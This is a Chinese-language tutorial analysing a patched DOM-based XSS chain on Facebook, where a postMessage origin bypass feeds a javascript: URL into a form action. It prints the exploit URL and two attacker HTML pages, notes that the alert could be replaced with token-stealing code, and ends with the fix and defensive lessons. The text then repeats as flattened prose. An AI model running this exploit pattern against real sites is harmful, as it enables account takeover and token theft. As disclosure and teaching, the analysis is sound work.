技术分析 | Facebook中基于DOM的XSS漏洞利用分析
字数 1487 2025-08-15 21:32:43

Facebook基于DOM的XSS漏洞利用分析教学文档

漏洞概述

本教学文档详细分析Facebook平台中发现的基于DOM的XSS漏洞利用链,该漏洞组合了两个关键安全问题:

  1. 跨域消息传递漏洞:允许攻击者从facebook.com域名通过postMessage发送跨域消息
  2. 不安全脚本构造漏洞:允许根据EventListener接收的表单提交数据构造不安全脚本

漏洞技术细节

第一部分:跨域消息传递漏洞

漏洞端点https://www.facebook.com/payments/redirect.php

关键参数

  • type参数:控制消息传递方式
    • 正常值i:使用window.parent.paymentsFlows.processIFrame方法
    • 修改为rp:使用postMessage与打开页面的窗口通信

目标源限制

  • 原始设计仅允许向our.intern.facebook.com发送消息
  • 绕过方法:使用our.alpha.facebook.com替代
    • our.alpha不会重定向到www.facebook.com
    • 内容与www.facebook.com相同
    • 满足targetOrigin条件

第二部分:XSS漏洞发现与利用

Canvas应用程序架构

  • 托管在apps.facebook.com
  • 加载iframe中的URL并发送包含signed_request参数的POST消息
  • 关键页面:https://www.facebook.com/platform/page_proxy/?version=X

page_proxy页面关键代码功能

  1. 使用postMessage发送带有frameName的消息到任意源
  2. 设置EventListener等待接收消息
    • 满足条件时提交表单
    • 表单action属性直接设置为a.data.params.appTabUrl

漏洞点

  • appTabUrl未验证是否以http/https开头
  • 可插入JavaScript代码实现XSS

漏洞利用步骤

构造Payload

URL格式

https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1

对应对象结构

{
  "type": "rp",
  "name": "_self",
  "params": {
    "appTabUrl": "javascript:alert(1);",
    "signedRequest": "SIGNED_X"
  },
  "platformAppControllerGetFrameParamsResponse": "1"
}

攻击流程

  1. 初始页面 (page1.html):
<html>
<button class="button" onClick="
  window.open('https://attacker/page2.html', '_blank');
  document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';
">
  <span class="icon">Start Attack</span>
</button>
</html>
  1. 延时攻击页面 (page2.html):
<html>
<script>
setTimeout(function(){
  window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';
}, 3000);
</script>
</html>

攻击说明

  • 设置3秒延迟确保page_proxy页面加载完成
  • 实际攻击中可将alert(1)替换为窃取用户访问令牌的代码

漏洞修复方案

Facebook采取的修复措施:

  1. 移除了/payments/redirect.php中的postMessage组件
  2. appTabUrl中添加了http/https协议检测

教学要点总结

  1. postMessage安全

    • 必须严格验证targetOrigin
    • 避免向过于宽泛的源发送消息
  2. 动态URL构造安全

    • 所有动态设置的URL必须验证协议
    • 避免直接使用用户可控数据构造可执行代码
  3. 跨域通信安全

    • 谨慎处理来自不同子域的通信
    • 实施严格的源验证机制
  4. 防御措施

    • 实施内容安全策略(CSP)
    • 对动态脚本执行进行沙箱隔离
    • 关键操作添加二次验证

扩展思考

  1. 如何检测类似postMessage滥用漏洞?
  2. 除了协议验证,还有哪些方法可以防止JavaScript URL注入?
  3. 如何设计安全的跨域通信机制?
  4. 在前端框架中如何安全地处理动态URL?

本教学文档详细分析了Facebook平台中发现的XSS漏洞利用链,强调了现代Web应用中跨域通信和动态内容处理的安全风险,为安全研究人员和开发人员提供了宝贵的安全开发实践参考。

Facebook基于DOM的XSS漏洞利用分析教学文档 漏洞概述 本教学文档详细分析Facebook平台中发现的基于DOM的XSS漏洞利用链,该漏洞组合了两个关键安全问题: 跨域消息传递漏洞 :允许攻击者从facebook.com域名通过postMessage发送跨域消息 不安全脚本构造漏洞 :允许根据EventListener接收的表单提交数据构造不安全脚本 漏洞技术细节 第一部分:跨域消息传递漏洞 漏洞端点 : https://www.facebook.com/payments/redirect.php 关键参数 : type 参数:控制消息传递方式 正常值 i :使用 window.parent.paymentsFlows.processIFrame 方法 修改为 rp :使用postMessage与打开页面的窗口通信 目标源限制 : 原始设计仅允许向 our.intern.facebook.com 发送消息 绕过方法:使用 our.alpha.facebook.com 替代 our.alpha 不会重定向到 www.facebook.com 内容与 www.facebook.com 相同 满足targetOrigin条件 第二部分:XSS漏洞发现与利用 Canvas应用程序架构 : 托管在 apps.facebook.com 加载iframe中的URL并发送包含 signed_request 参数的POST消息 关键页面: https://www.facebook.com/platform/page_proxy/?version=X page_ proxy页面关键代码功能 : 使用postMessage发送带有frameName的消息到任意源 设置EventListener等待接收消息 满足条件时提交表单 表单action属性直接设置为 a.data.params.appTabUrl 漏洞点 : appTabUrl 未验证是否以http/https开头 可插入JavaScript代码实现XSS 漏洞利用步骤 构造Payload URL格式 : 对应对象结构 : 攻击流程 初始页面 ( page1.html ): 延时攻击页面 ( page2.html ): 攻击说明 : 设置3秒延迟确保 page_proxy 页面加载完成 实际攻击中可将 alert(1) 替换为窃取用户访问令牌的代码 漏洞修复方案 Facebook采取的修复措施: 移除了 /payments/redirect.php 中的postMessage组件 在 appTabUrl 中添加了http/https协议检测 教学要点总结 postMessage安全 : 必须严格验证targetOrigin 避免向过于宽泛的源发送消息 动态URL构造安全 : 所有动态设置的URL必须验证协议 避免直接使用用户可控数据构造可执行代码 跨域通信安全 : 谨慎处理来自不同子域的通信 实施严格的源验证机制 防御措施 : 实施内容安全策略(CSP) 对动态脚本执行进行沙箱隔离 关键操作添加二次验证 扩展思考 如何检测类似postMessage滥用漏洞? 除了协议验证,还有哪些方法可以防止JavaScript URL注入? 如何设计安全的跨域通信机制? 在前端框架中如何安全地处理动态URL? 本教学文档详细分析了Facebook平台中发现的XSS漏洞利用链,强调了现代Web应用中跨域通信和动态内容处理的安全风险,为安全研究人员和开发人员提供了宝贵的安全开发实践参考。